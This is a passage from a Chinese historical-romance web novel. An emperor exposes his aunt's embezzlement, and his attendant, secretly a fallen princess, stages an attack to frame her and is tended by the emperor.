“与私而言,您是朕的亲姑母,自小看着朕长大,又怎么会在今日这等大日子,以如此卑劣手段陷朕于不利?” 噗…… 一旁充当看客的明熙简直要笑出声来,这话简直比直接骂出来还要难听。 悄悄随众人看向萧应澜,却见其动了动唇,又要急着说些什么。 然而萧元彻的话还未说完—— “武安侯府纵容子弟祸乱百姓,朕查他们,不过是为给无辜百姓一个交代,并不为针对任何人。身家清白者,自不会受到影响。朕亦觉得,姑母应不至于为此事来记恨朕,以此手段来阻扰朕查武安侯府的案子。” 话到此处,大长公主终于找到机会张口道,“陛下所言极是,本宫与陛下无冤无仇,本宫亦是行得正,坐得端,为何要做出这等事?这分明是在冤枉本宫!” 然萧元彻不置可否,却又道,“那姑母可否告知朕,前阵子您的府上与朝中几位老臣,诸如礼部尚书,宣威侯,太常卿等人频繁来往,是要做些什么?” 话音才落,就见殿中被点名的几人皆是一顿。 礼部尚书洪正德忙道,“启禀陛下,老臣与大长驸马乃多年同窗,前日驸马曾作诗一首,派人送与老臣府上共赏,并未有其他事。” 太常卿崔克江也忙开口道,“陛下有所不知,眼看高祖皇帝冥诞在即,大长公主殿下思念高祖陛下,派人邀臣过府,是为商讨祭拜高祖仪式的。” “陛下……” 一旁的宣威侯也要开口,然却被萧元彻抬手止住。 “大长驸马做首诗,礼部尚书府就有京郊一套别院,并两千两银子入账。这赏诗的费用,是否有些过高了?” “祭拜高祖陛下的仪式,自有朝中安排,大长公主府却为此付给太常卿雍州百亩良田,实在有些不太合适吧?” “还有宣威侯,平白得了大长公主府的一座钱庄,不知又是为大长公主帮了什么忙?” 这…… 闻听此言,方才急着说话的三人立时哑口下来。 大长公主萧应澜却又道,“陛下难道忘了,他们可都是朝中老臣,与我及驸马亦是多年老友,我与驸马念他们的情谊,也念他们素日为朝政出谋划策,赠些金银慰问一下不为过吧?陛下岂能因此就要把损坏玉佛的罪过扣在本宫头上?” 什么? 赠些金银慰问…… 众人无不面露惊愕—— 好个大长公主,上千两的银子,百亩的田产,还有不知藏了多少金银的钱庄送出去,竟然只是慰问? 放眼这大周天下,恐怕也只有她能说出此话了! 却见君王也颔首道,“当然,姑母阔绰,天下谁不知?毕竟武安侯府在京城及青州,鹿州,定州等地开设的几十座赌场,每年五成的收入都送到了您的府上;晋阳侯府在上京,司州,朔州,相州等地放出的羊羔债,每年也有三成收益在您的手上。” “更遑论东到光州,西至甘州十余郡县的盐铁,都被您握在手中,每年大长公主府都有近百万两的银子入账,这些小钱自然算不得什么。” 什么…… 这话一出,殿中众人愈发陷入震惊之中。 就连事不关己的明熙也不由暗自咂舌—— 早知这萧应澜奢侈,却不知她居然能敛这么多钱财! 怪不得区区一个武安侯府不成器的安昌宗,就能叫她亲自去乾明宫求情,原来这案子是真经不起深挖! 这大长公主府敛的财,只怕能有北周国库的一半了吧! 也难怪萧应澜甚至使出此等不惜天打雷劈的手段,也要阻止萧元彻继续查案,这要是论起罪来,只怕她亲爹高祖皇帝也保不住她。 思及此,她再向萧应澜看去,就见其已然不再是方才镇定自若的脸色,其驸马更是一脸惨白。 然萧应澜仍又狡辩道,“陛下何出此言?这都是对本宫的污蔑!本宫从来没有收过那些银子!本宫行得正坐得端……” 萧元彻却道,“朕也很想相信姑母是清白的,偏生眼下又发生玉佛之事,正好,武安侯府的案子还在审理之中,朕就将玉佛之事一并交由三司审理,既然姑母已然牵涉其中,自现在起,姑母与驸马就先不要回府了,朕会找地方安置你们,待案子申清,再说回府之事。” 什么? 这令萧应澜再难以冷静,几步冲到他近前质问道,“陛下这是要软禁本宫不成?” 萧元彻却一脸清冷道,“并非软禁,只是照规矩行事。毕竟天子犯法,与庶民同罪。但只要姑母是清白的,朕自会还你自由。今日文武百官皆可为证,君无戏言。” 说着便发话道,“来人。” 便听殿中应是,立时有羽林卫上前,先将大长驸马给架了起来。 大长驸马已然慌了神,急忙向萧应澜喊道,“殿下救我,殿下救我啊……” 然而此时的萧应澜已是自身难保。 这倘若是在她自己府中,她还有府卫可以呼唤,但这可是在宫中! 她的这个好侄子,竟然设了如此大的一个局!!! 眼看着羽林卫已经步步逼近,萧应澜早也慌张起来。 见此情景,一旁看戏的明熙不由在心间咂嘴,想这萧应澜不可一世了半辈子,如今竟要当着这么多人的面被拖走,真不知能不能抗住。 依照她的性子,合该来个鱼死网破才是。 哪知正这么想着,却见萧应澜匆忙环顾过周围后,竟然将手伸向了自己的发间。 明熙一顿,立时意识到对方是想拔簪。 这倒是个好机会! 她立时朝一旁的赵怀使了个眼色。 归功于多年的主仆默契,赵怀也立时心领神会,趁避让上前的羽林卫之际,悄悄飞出一粒方才摆放祭坛用过的黄豆飞了出去。 黄豆不偏不倚正打在萧应澜的腿上,叫才拔下发簪的她一个没站稳,径直向面前的萧元彻扑去。 这令萧元彻一愣,正要躲开之际,却听一声,“陛下小心!” 一个纤细身影飞扑到了他面前,竟是明熙。 而几乎与此同时,扑过来的萧应澜手中的金簪也朝她挥了过来,堪堪划过她的右臂,竟然割破了几层的衣料,划破了她的肌肤,叫她流出了血来。 明熙忍不住嘶了一声。 啧,竟然还要出血? 真是失算了。 第29章 她的每一处,早已深深烙…… 这般情景,直叫殿中立时惊成一片。 高寿大喊 着,“护驾!护驾!” 近前的宫人们立时上前将萧元彻及太后太妃们围在身后。 羽林卫则飞奔过来将原本就摔在了地上的萧应澜又给摁了个结实。 而站在大殿后排有些未看清状况的男女宾们又被这景象惊到,发出惊叫连连…… 乍一看去,直叫人以为是当今陛下果真遇了刺一般。 但此时安稳无虞的陛下萧元彻全然顾不得其他,只是立时将扑向自己的明熙抱住,着急问道,“阿真你怎么样?” 阿真? 闻言近前的众人皆都悄悄一顿—— 他们竟不知,一向清冷的君王居然会如此亲昵的称呼别人? 而再顺着君王的目光瞧去,却见那被他抱在怀中的姑娘右臂正在流血,方才被萧应澜金簪划破的衣物,很快便染成了红色。 几位胆小的命妇吓得脸色惨白,还有大臣惊声道,“流血了!这姑娘流了好多血!这簪子上该不会有毒吧?” 立时又将众人吓了一跳。 明熙,“……” 她可真是多谢这位乌鸦嘴了! 那萧应澜又没料到今日自己的好大侄儿会对她下手,好端端的往自己头上戴的簪子上淬毒做什么? 要毒她自己吗?! 当然,她的血也不能白流。 明熙遂立时做出虚弱的模样,对萧元彻道,“只要陛下无虞,奴婢死不足惜……” 萧元彻,“……” 好吧,看她这样子应是没事。 他稍稍放了放心,但见她的伤口还在流血,于是忙将她打横抱起,往殿外走了。 只留下身后满殿众人对萧应澜愤怒声讨—— “大长公主压榨百姓,肆意敛财,如今又破坏佛像,行刺君王,简直罪行滔天!!!” “简直不可饶恕!!!” “一定要严惩!!!” …… 随着萧元彻大步走出佛光殿,嘈杂声也渐渐被甩在身后。 说起来,这还是自长大后,明熙头一次被人如此抱着走路,实在有些不太适应。 其实她除过右臂外侧受了点伤,有些许疼痛之外,堪称安稳无虞,但是方才装的那般虚弱,此时忽然说自己能走路,好像也有些不好…… 她悄悄暗忖,难不成就这么装死,被他抱一路? ……虽然他臂膀粗健,前胸开阔,抱起来还挺舒服的。 但眼看路过的宫人无不满脸惊讶的看向她,还是难免有些羞赧…… 所幸萧元彻脚步够快,没容她在心间挣扎多久,便将她抱回了乾明宫的值房中,放在了榻上。 明熙把戏做到底,又假装虚弱的靠在床边。 却见一路跟着的高寿着急道,“陛下,许姑娘流了这么多血,怕不是要赶紧传太医?” 萧元彻颔了颔首,一个“好”字还未落地,却见明熙立时拒绝道,“不要,御医可是男的,烦劳高公公叫人找位医女来便好。” 哪晓得高寿道,“姑娘有所不知,那些医女都是年后才招到太医院的,眼下连配药都不会,如何能为您处理这么长的伤口?” “可,有道是男女授受不亲……” 明熙一脸不情愿道,“实在不成,我自己来就好。” 她好歹也是一国公主,怎能随便让陌生男子看见她白玉无暇,哦不,现在是微瑕的肌肤了。 她也并非娇弱到非要别人帮忙,只不过这伤口在右上臂外侧,她大约要费些力气才能处理。 “罢了,” 却见萧元彻忽然发话,“前殿就有金创药,再去取些棉纱来。” 高寿应是,赶紧差遣了腿脚快的小林子前去,很快便将金创药及棉纱都取了来。 却见萧元彻又对高寿几个发话,“你们先出去吧。” 高寿应是,便领着小林子小郭子等出了去。 然萧元彻自己却坐在床边巍然不动,还挽了挽衣袖,又朝明熙的右臂伸出手来。 明熙一个激灵道,“陛下要做什么?” 却见萧元彻道,“朕来给你上药。” 明熙睁大了杏眼,“陛下也是男的啊!” 却见那人又顿了顿,道,“朕乃天子,自然与那些凡夫俗子不同,不必在意。” 说着便仍要帮她挽受伤的衣袖。 明熙却又下意识一躲。 萧元彻双手落了空,不由皱眉道,“再拖下去,只怕血流得越来越多,伤口难以愈合,疤也会难看。” 什么? 就见那姑娘一顿,而后,终于将胳膊伸了出来。 萧元彻暗暗笑了一下,他还不知她在意什么? 哪晓得未等碰到她的衣袖,那姑娘又道,“陛下闭上一只眼。” “???” 萧元彻不解道,“为何?” 却见明熙道,“一只眼看得总归少些。” 萧元彻,“……” 他不知有多想告诉她,她身上的每一处,都已经在几年前的那个夜晚,深深烙在了他的心间。 这些年又不知多少回出现在他的梦中,叫他长夜无眠。 怎奈时机未到,不能说破,只好无奈应了声好,勉强用一只眼睛帮她挽起衣袖上药。 那如玉的肌肤一如当年,还散发出淡淡香味,想来应是来自那波斯国的天宝霜,她喜欢他送的东西,总叫他心间慰藉,只是此时那横空出现的猩红伤口,又叫人心疼。 先将干净的棉纱覆在其上,小心按压,待血止住,他又将金创药小心撒了上去,就听那姑娘口中轻嘶了一声。 萧元彻忙温声轻哄,“忍一忍,很快就好了。” 却见那姑娘嗯了一声,又来问他,“伤口很长吗?可深?” 萧元彻边撒药边道,“不算深,约有两寸多长。” 就见明熙一下苦了脸。 ——这么长的伤口,还流了这么多血,一定要留疤了。 啧,她这人长这么大,最不能忍受的就是身上留疤,岂不是要难看死? 早知道就不扑上去了…… 萧元彻似乎看出她心间所想,又开口道,“方才何必要扑出来?” 明熙努力让表情看起来真诚,“奴婢怕陛下有危险,自然要保护陛下,况且当时只有奴婢离陛下最近,奴婢不扑上前去,又等何人呢?” 萧元彻,“……” 他还不知道她?要真是为了救他就怪了。 嘴上却也只能道,“朕不会叫她刺到,而你也不必非要为朕做什么。在朕心里你无人能及。” 这下无语的换成了明熙。 ——这人是怎么做到一本正经说出如此浊腻之言的…… 还“在他心里无人能及”? 不是明明在建业也有相好,还有从小一起做香膏的青梅竹马么? 再说了,她方才扑出来,也并非为他。 她岂会看不出那萧应澜拔簪子不过为了假装自戕,以逼萧元彻让步罢了? 且就以方才那个距离,萧应澜的簪子根本不可能戳到他身上。 她如此做,一来是为做实那萧应澜的罪名,谁叫那老女人三番两次为难她? 再者,也是为了给太后看的。 上回因为出宫的事,太后竟还想将她再从萧元彻身边调回去,如今就叫太后看看,她这个御前女官是何等忠心,倘若将她调回去,吃亏的可是萧元彻! 还有,她也是做给惠王萧元任瞧得! 那狗贼不是还怀疑她的身世?经此一番,她便成了冒死救驾的忠仆,如今宫中仅她一人,看那狗贼还如何在她的身世上打主意! 只有一点……赵怀的力气大约是用大了些,叫萧应澜扑得有些狠,竟然叫她出了血。 …… 不过总归目的都已都达到,此时听萧元彻如此 说完,她忍下满脸的不信,做出十分受宠若惊,且忠诚的样子道,“谢陛下。陛下在奴婢心中亦是如此。只要陛下安好,奴婢受点伤又算得了什么?” 然话音落下,那人却用一双深邃眼眸静静注视着她,带着似笑非笑,又有些无奈的神色。 直把她看得都心虚起来,只得慌忙转移话题道,“那个……陛下不觉得,今日惠王妃的话也有些意思吗?” 却见萧元彻嗯了一声,“怎么说?” 明熙道,“奴婢从前在寿安宫时,便听说惠王妃生性谨慎,今日这样大的日子,应不至于没弄清楚事情真相就随意在这么多人面前开口。更何况,惠王的理由也太牵强了些。他堂堂亲王,要救几个女子,至于亲自出手吗?且还偷偷摸摸,瞒着自己的王妃……” 话音落下,却见正给她仔细缠棉纱的萧元彻又嗯了一声,道,“的确,那几名女子是他年初南下时,商人送给他的侍妾。” 这叫明熙有些意外,“陛下早知道此事?” 却见萧元彻点头,“前几日知道的。” 明熙愈发意外了,“惠王出公差期间私收美人,还带回京中,怕是有些不合适吧……” 原本想说那狗贼以权谋私,触犯大周律法来着,又怕有些太过明显,只好如此说得委婉些。 却见萧元彻道,“事情要一件一件的来,今日以大长公主府的事为重。更何况,以惠王的身份,只这几个美人,朝廷也并不能将其如何,极有可能一班大臣还会出来替他求情,所以不妨再等等。” 说着忽然又看向她道,“这件事情,你事先可知情?” 明熙立时一脸莫名道,“奴婢整日在宫中,怎么会知道宫外的事?” 只见萧元彻顿了顿,没说什么。 ——不知道才怪。 方才惠王妃一张口,满殿人皆是一脸震惊,只有她十分期待的模样。 他只是有些不明白,她是如何知道的? 难不成……除过赵怀,她在宫中还有其他人手? 正悄悄想着,手上的棉纱已经缠完,却见那姑娘立时将胳膊抽了回去,道,“谢陛下,其他的奴婢自己来就好。” 又赶紧将袖子放了下来。 萧元彻回神,看她小心翼翼的动作,不由道,“这衣裳已经破了,等会只怕更衣也不方便。” 哪知那姑娘立时道,“那奴婢可以先不更衣。” 语罢又一脸防备的看着他。 “……” 萧元彻只好安抚道,“不必担心,朕是想,是不是该给你安排几个人帮忙?” 明熙却立时挑眉,她才不要跟别人分享值房。 遂立时道,“奴婢本就是宫人,如何还要叫其他宫人来照顾奴婢,传出去岂不太过僭越?奴婢这伤又不重,自己完全没有问题。” 说着还要赶他离开,“陛下前朝还有大事,您先去忙吧,佛光殿眼下还不知怎么样了……” 也是巧了,她话还没说完,却听门外传来高寿的禀报声,“启禀陛下,羽林卫来报,大长公主夫妇二人已押入退思园,太后及诸位太妃也已经安全回到各自宫中,佛光殿周遭已经彻查过,暂未发现其余刺客身影。” 明熙,“……” 好么,她不过临时起意的美人救英雄,竟然造出如此一番大阵仗。 却见萧元彻对外发话,“命羽林卫即刻封锁大长公主府,晋阳侯府及清河侯府等与其有关联网的府邸,严禁任何人进出。还有,近期无论京城内外,凡与大长公主府有往来者,皆严密盘查,一旦发现可疑者,即刻收押。” 门外高寿应是,立时下去传旨。 明熙则又暗忖,看来,今日对大长公主府动刀,并非萧元彻临时起意,其摸查的如此仔细透彻,必定已经谋划了很长时间。 玉佛之事,只是那萧应澜自己主动点燃的衅端罢了。 看来北周又要迎来一番变革。 不得不说,萧元彻这个人的确头脑清醒,且很有魄力。 若父亲与哥哥当年也能有如此决心,未准南齐就不会沦落到今日这等地步了…… 正出神间,却见那人又将目光投向她道,“朕先去前殿看看,你且好好休息。倘有什么事,叫人来找朕便好。” 明熙点了点头,道,“谢陛下。” 便目送他起身出了房中。 …… 萧元彻一路走回正殿,登上台阶之际,却见卫谨来到身畔,低声禀报道,“陛下,方才殿中之事,只怕有些蹊跷,大长公主似乎……” 卫谨想说,大长公主方才往前扑的姿势,着实有些诡异,看起来并不像刺杀,倒像是不小心摔倒的。 哪晓得君王却抬手止住他的禀报,只道,“朕心间有数。” 而后顿了顿,又问,“前几日给波斯国的信可发了?” 卫谨忙应是,“已经连夜发出。” 就见君王嗯了一声,又道,“再叫人去找找,可有什么好用的祛疤霜膏,尽快送到宫中来。” 卫谨,“……是。” ~~ 宫中已经鲜少经历今日这版闹剧,尽管早已回到寿安宫,太后心间依旧满是气愤。 “萧应澜简直无法无天!这么多年来搜刮了这么多银子还不够,居然胆敢破坏佛像,向陛下行刺!实在千刀万剐难消人心头之恨!” 心腹王嬷嬷则在旁连连念起阿弥陀佛,“娘娘说的是,今日多亏佛祖保佑,否则大长公主可是闯下大祸了!” 太后颔了颔首,却又道,“不过说来,今日念贞着实叫人意外,若非她反应快,陛下只怕要被那疯妇给伤到。上回陛下说念贞救她,哀家还有些不太信,没想到她果真有护主之心。” 王嬷嬷也点头附和道,“念贞确守难得,方才那速度竟比羽林卫都快,可见心间是时时刻刻装着陛下的,也足见您当初叫她陛下身边,是何其是英明。” 这个么…… 太后压下一丝心虚,只叹道,“也罢,难得遇见一个如此真心的丫头,前些天才为了陛下受了伤,也不知好了没,眼瞧着今日又伤了一回,也是难为她了。叫碧书带上些药材补品,去乾明宫看看她吧。” 王嬷嬷应是,正要去叫人,却见太后又道了声,“还有,从内库里取上一块云锦,叫人送去惠王府。今日惠王妃所言八成是真的,淑太妃不替她主持公道,哀家给她撑着,免得叫惠王再为难与她。” ——这当然只是借口,如今萧应澜的事一出,上京亟待建立新的秩序,惠王妃的娘家尚算忠诚,当然要好好安抚一下。 王嬷嬷又应是,出去一并吩咐了宫人。 ~~ 大长公主萧应澜“行刺”案关系重大,且牵连甚广,一众官员被滞留宫中,直至傍晚,才陆续返回各自府中。 马车朝着惠王府的方向行进,车厢中,萧元任面色阴沉。 那萧应澜不中用也就罢了,没想到今日他竟险些被张若锦害得颜面尽失! 这个蠢女人,究竟是何时发现那几个女子的? 还说什么是那几个女子找上门去? 那几个女子每日被看管在宅院中,根本不可能找到王府去! 莫非有人故意害他? 思及此,他撩帘问车外跟着的侍卫,“去查一查,看王妃近来可有与府外之人接触。” 侍卫应是, 然没等他将车帘放下,却听后方传来一阵急促马蹄声, 转眼间,便有一群羽林卫追到了他的车前,道,“惠王殿下留步……” 萧元任一顿,只好先命车夫停马,又问来人道,“何事?” 却见领头的羽林卫道,“我等奉都御史之命,请殿下暂且移驾都察院……” 已在宫中困了一日,萧元任此时已很是不耐,未等对方将话说完便打断道,“本王前几日派人去大长公主府的事由,方才在宫中早已同三司交代清楚,为何又要叫本王去都察院?” 却见羽林卫道,“殿下稍安勿躁,我等并非为此事前来,方才都察院收到密信,涉及您此前南下期间行程之事,故而都御史不得不 请您再返回一叙。” 密信? 萧元任暗自一顿,面上仍强装镇定道,“本王南下之事已经过去那么久,如今又有什么不妥了么?” 却见对方道,“具体如何不妥,请恕卑职也并不清楚,不过方才听都察院中人提过几句,似乎有人告您趁南下时敛财,收受商人贿赂之类。” 什么? 萧元任已经愣住。 第30章 岂能轻易沉溺他的美色之…… 一场“行刺”事件,引来宫里宫外轩然大波,然作为此事件的“始作俑者”,明熙倒是好好清闲了一日。 归功于萧元彻优秀的包扎,她的伤口已经不再流血,痛感也减轻了许多。 只是怕伤口挣开,活动起来仍有些麻烦,她勉强适应了一个白天,总算顺利给自己洗了脸又换了身衣裳,甚至还往身上涂好了天宝霜。 转眼已是日暮降临。 萧元彻踏进月亮门的时候,明熙正在吃晚饭。 今晚的菜是素炒茭白,银芽鸡丝,清炒虾仁,醋焖藕片,并一道清炖鲫鱼汤。 主食是春饼。 需将各样菜夹上一些,铺在薄薄的饼上,再卷成筒咬着吃,如此一来,清脆,鲜嫩,绵软等各种口感在口中交织,叫人欲罢不能。 这是难得令明熙喜欢的北国菜式,只是今日胳膊受了伤,卷起饼来有些费劲。尝试了几次,都没办法将一张饼卷的完美。 正在这时,萧元彻走到了她身边,道,“朕来帮你。” 说着便伸手,将她面前碟中的饼卷成了一个完美的饼筒,并递给她。 明熙有些迟疑。 “奴婢岂敢……” 却见萧元彻道,“你是因为救朕受的伤,朕为自己的恩人帮忙,算不了什么。” 然而明熙仍没有接。 萧元彻,“……朕方才来前净过手了。” 明熙哦了一声,这才把饼接了过去,又瞧了瞧他道,“陛下要不要尝尝?奴婢还没动过。” 萧元彻道,“朕方才吃过了,你自己吃就好。” 说着又皱眉道,“你眼下活动不便,膳房怎么还做了这样的饭?莫不是小林子没有知会他们?” 明熙忙道,“不怪小林子,是奴婢自己想吃,昨日便同他们提过的。” 说着便吃了起来,嗯,口感丰富,各种口味交织,饼皮还满是麦香,真是不错。 待吃罢一个,只见那人又要主动帮她再卷,她于是便也不客气道,“烦请陛下,茭白,鸡丝,虾仁多一些,藕片少一些。” ——今日藕片醋放的有些多,过酸了。 萧元彻倒也好说话,照着她的吩咐又卷了一个,又小心递了过去。 明熙接过吃着,眼见那人又帮她舀了一碗鲫鱼汤,道,“这个汤助伤口愈合,多喝点好。”说着还贴心的把鱼刺都剔了出来。 直叫明熙都有些过意不去了,只得道,“陛下不必忙了,奴婢已经饱了。” 哪晓得他道,“别急,方才司苑局还送了些园子里才熟的杏子,朕尝着不错,给你带了几个。” 说着便从袖子掏出一把杏子,拿去院中用井水洗了,再回到桌前,还主动把皮剥了,再递给她。 只把明熙看得满脸诧异——他怎么晓得她不爱吃带皮的杏子? 连问都没问她,就主动剥皮,就仿佛是她的身边人一般…… 不知是不是看出她的意外,却见萧元彻又笑了下,道,“朕向来不爱吃杏子皮,只当你也不喜。” ……这样吗? 天底下还有跟她一样难伺候的人? 她暂且打消疑虑,道了声,“谢陛下。” 便将杏子接了过来。 试着尝了尝,竟果真很甜,不由好奇道,“这是牡丹园后头那片杏树结的果吗?没想到这么好吃。” 萧元彻嗯了一声,又拿了一颗,一边剥皮,一边道,“那些是几十年的老杏树,朕小时就常吃。” 说着又道,“今日午后,都察院收到几封密信,说是惠王南下时,曾借公职向当地商人索贿,并恶意压价盘剥。” 就见明熙一脸惊讶道,“居然有这等事?若果真如此,惠王此举岂不有碍朝廷威名?不知陛下要如何处理?” 萧元彻道,“朕已经交由都察院处理,就是不知,这写密信的是何人?”语罢特意看向她。 却见明熙道道,“既然是告发惠王盘剥商人,想来应是南边的商人们所写吧?不然,谁会冒这样大的险,管这样的闲事呢?” 说着还恭维他道,“陛下能如此大义灭亲,秉公处理,定能叫南边百姓们心安。” 萧元彻默默看在眼中,愈发肯定那密信应是她的手笔。 想那萧元任先是试探她的身世,又害她险些被太后责罚,如此报复,也的确符合她的性子。 他只是有些好奇,那密信里所写,究竟是她掌握了真凭实据的,还是为了叫萧元任不痛快编出来的? 正暗忖间,却见那姑娘道,“多谢陛下,奴婢已经吃不下了,您不必再剥了。” 萧元彻便停下手来,又从袖中拿出一只小瓷罐,递给她道,“这是朕叫人寻来的药膏,据说可以祛疤。” “祛疤?” 明熙试着接了过来,打开瓷罐一瞧,只见里头是些糊状物,颜色黑糊糊不说,还散发着浓重的药味。 她忍不住皱眉道,“陛下是从哪里找的?真的管用吗?” 萧元彻便道,“是羽林卫中郎将从军医那里拿的,据说不少人都用过,效果还不错。” 话音落下,只见那姑娘的嫌弃已经明晃晃写在了脸上,用满是怀疑的语气道,“军医还会祛疤?也不知是什么东西做的,涂了之后若是更难看了该怎么办?” 萧元彻,“……不然,朕先替你试试?” 说着想了想,从那瓷罐中挖了一点药膏,涂在了右手的虎口处道,“这是上月的疤,不知起效是不是会慢些。” 明熙伸长脖子看,只见其虎口上却有一道短短的疤痕,不由好奇道,“陛下这疤是怎么弄的?” 只听他道,“练剑时不小心伤到了。” 说话间,药膏已经擦好,又同她道,“用着清清凉凉,还不错。” 明熙却仍有些怀疑,“陛下的这道伤口不过一寸来长,且都长好了。” “这样吗?” 萧元彻想了想道,“朕的左臂上还有一条,要稍长一些。” 说着便撩起左边的衣袖,刹那间,一条健壮的手臂便出现在了她眼前。 唔,那肌肉线条十分流畅,皮肤也并不粗糙,只是上臂的后侧有一条长长的疤痕,宛如一条粗壮的蚯蚓在皮肤上蜿蜒,直叫人触目惊心。 “朕看不到这里,怕是要请你帮忙。” 却见萧元彻将那瓷罐递给她。 明熙应是接过,边涂,边又忍不住道,“陛下此处又是怎么受的伤?” 却见萧元彻道,“当年从建业回来时,不小心被追兵所伤。” 明熙悄悄一顿,竟然是被她们南齐的将士伤的? 其实她一直好奇,他当年到底是怎么从建业逃回来的,趁着此时开了头,便试着问道,“陛下当年从建业回到上京,一定很凶险吧?” 却见那人道,“的确,若非当年有人相助,给了朕一块腰牌,朕大抵并不能顺利回来。” 腰牌? 明熙不由暗忖—— 她们建业虽比上京开放,但城池之间仍需路引,否则官兵不会放行,除非有专门的腰牌。 但这腰牌,除过皇家宗室,外人根本难能获取,又会是谁给他的? 却听萧元彻又续道,“她给朕腰牌,原本并不是为放朕走,只不过那时正逢南齐宣帝崩逝,南齐上下都在筹备国丧,朕觉得这是绝佳时机,便赶紧离开,虽则也曾被发现紧追,但侥幸躲过乱箭,总算平安回到了大周境内。” 明熙颔了颔首,神思仍在方才的问题上—— 犹记得上回出宫时,他曾提到在建业吃过街边的馄饨,听那时的语气,带他去的,还应是个女子。 既能将他从质子馆带走行走,还给了他腰牌…… 难 不成是她哪个堂姐表姐,甚至是姑母? 哎,不管是谁,可真是糊涂!怎么能为了一点男色,做出背弃家国之事? 默默谴责了那个“糊涂虫”一番后,她又试着问道,“陛下回来后,就没想找过她?” 却见萧元彻道,“找过,但她早已离开建业,不知所踪。” ——尽管她眼下仍未想起旧事,但是这些话他一直想对她说。 “朕明白,朕在她家国骤变之时匆忙离开,甚至未曾告别,乃是背弃了她,这些年,一直想亲口跟她说声抱歉,无论她多恨我,都自是应该。朕之希望有朝一日,能得到她的原谅。” 原谅? 明熙简直要冷笑出声,想那个给他腰牌的糊涂蛋,只因为自己的轻信,放虎归山,致使有朝一日家国俱灭,这要让人如何原谅? 若她是那个糊涂蛋,等见到他后一定先砍他两刀! 然面上仍需安慰他道,“陛下言重,您当时也是迫不得已,倘若当时不趁机回来,如今只怕还不知如何。” 当然,她也明白,哥哥生性宽厚,却不够果敢,又太过信任嫂子极其娘家谢氏,致使国家朝政都被谢氏把持。 若萧元彻当时不逃走,以谢家人的作风,一定会握住他这个质子,加倍向北周施压,一旦北周先帝承受不住,决定放弃他,那他在建业也没有生机了。 所以对他而言,当时逃回来乃是最正确的决定。 只是别再想着求那位姑娘原谅罢了。 …… 哪知正想着,却见萧元彻又问她,“阿真,你觉得她会原谅朕吗?朕要如何做,才能叫她消气?” 明熙,“???” 居然还来问她?!! 若她是那姑娘,就算这人在门口跪上三天三夜也不绝不原谅! 但嘴上却依然得安慰对方,“有道是‘精诚所至,金石为开,’陛下只要诚心道歉,补偿自己所欠下的东西,应该会有好结果的。” 语雀却又忍不住在心里嫌弃——这狗男人,既然心心念念想着建业的旧爱,又对她如此亲近做什么? 还给她剥杏子,卷春饼? 还说她在他心间无人能及? 真真恶心! 就这般嫌弃着,眼看手上的膏药也已经涂完了,她便收回手来,声音里明显带了凉意。 萧元彻察言观色,亦明白她心间生了气,但方才亦是逃避不得的事,早晚要叫她知道。 此时只能尽力哄道,“朕觉得这药膏涂在身上清清凉凉,还算舒服,你要不也姑且试一试?” 哪晓得那姑娘木着脸道,“不必了,奴婢还是等伤口长长再说吧。” 萧元彻,“……” 还想再说些什么,哪晓得门外忽又传来高寿的声音,“启禀陛下,刑部尚书与都御史求见。” 话音才落,却见那姑娘立时又道,“陛下不必担心奴婢,先回去料理大事吧。” 脸色已经可用“寒冰”来形容。 萧元彻,“……” 只好应了声好,起身出了房中。 余下明熙自己收拾了碗碟,而后躺在床上凝眉思索—— 给萧元彻令牌的,究竟是谁? 想她共有两位叔父,一位姑母,其下又共有四位堂姐妹,两位表姐妹。 最大的那位表姐与哥哥同岁,早早就嫁去了江州,应该从未与萧元彻碰过面。 大堂姐人在淮南,应该也不可能。 二堂姐虽嫁到了建业,但四年前正值初嫁,新婚燕尔之际,应该不会去招惹萧元彻吧…… 余下一位堂妹比她还小两岁,四年前都尚未及笄,必定也不会给萧元彻腰牌。 倒是二表姐宜安县主,乃是建业出了名的风流寡妇,喜欢拈花惹草,难不成……是她给萧元彻腰牌的? ……可她记得二表姐三天两头换男伴,前前后后至少有过数十位男子,怎么会独独送了腰牌给萧元彻? 且那时她也从未听说二表姐与萧元彻有过什么瓜葛,倒是曾看上她身边的二郎,曾几次问她要过人…… 那倒底是谁呢? 想了许久都未想出答案,眼看夜深人静,明熙干脆睡了过去。 哪晓得又陷入了梦中—— 又回到了多年前的建业,她在哥哥的东宫,正陪两岁的侄儿玩,忽听说来了位异国的客人,生得还很是英俊,一时好奇之下偷偷跑去瞧,便见到一位身姿笔挺的青年郎君正坐在梅亭中与哥哥喝茶。 她一不小心踩断了脚下的枯枝,引得那青年转过脸来,却竟然是萧元彻。 但梦中的她忘了诧异,只顾欣赏对方的美貌,但见他虽为质子,却不卑不亢,面上亦不见惊慌之色,叫人很是印象深刻。 行那以后,萧元彻的影子就在她心间挥之不去,搅得她什么都做不了,她又忍不住悄悄去了去质子馆看他,没想到却碰见那风流表姐宜安县主正强行拉他到自己的马车上。 一气之下,她跟表姐吵了一架,拉着萧元彻就跑。身后的箭却像雨一样射来,叫二人躲闪不及。 忽然有只箭射中了她的手臂,叫她瞬间惊醒,这才发现是自己不小心压到了受伤的右臂。 她慌忙从床上坐起,不由冷汗频频,又在心间诧异,怎么好端端的做起了这样的梦? 昨晚睡前苦思冥想没有答案的问题,到了梦里竟然成了自己? 她堂堂公主,怎么会去招惹萧元彻这等敌国质子? 简直太荒唐! 然等她再度躺回床上,却难以睡着,看看窗外已经透出晨光,她索性起身洗漱一番,换上衣裳,出了房门。 ~~ 这个时辰,勤政殿的小朝会即将开始,明熙假意整理殿前的树木花草,只见大臣们三五成群边往殿中走,边谈论北周的大事—— “历经一日一夜,大长公主府一年的流水都未清点出来,可见数目着实巨大!如今刑部与大理寺人手不足,已经要向户部借调人手了。” “都察院也不清闲,昨日午后又接到关于惠王府的密信,如今除过大长公主案,还要查看惠王南下一事的账目,只怕也要调些人手才是!” …… 闻言明熙不由在心间哼笑,萧元任那狗贼南下的事情也复杂,都察院这人手借少了都怕是不行。 那叫狗贼闲得来招惹她,这下就算打不死,也至少要叫他痛一痛,看他往后还如何使那些阴招! 却听又有人道,“前日南齐皇室发来求和信,不知陛下今日会否在朝中提及。” 什么,求和信? 明熙立时一顿,。 却听立时有大臣哼道,“南齐魏氏竟然还有脸来求和?他们可是忘了当年是如何欺压咱们的?便是陛下也曾在建业做过质子,九死一生!更遑论今次又是他们挑衅在先,梁州县令与百姓尸骨未寒,除非他们的小皇帝亲来北周谢罪,否则绝不可能议和!” “胡大人所言甚是!” 又有人附和道,“谁不知南齐狡猾,莫非又是想占咱们的便宜?” 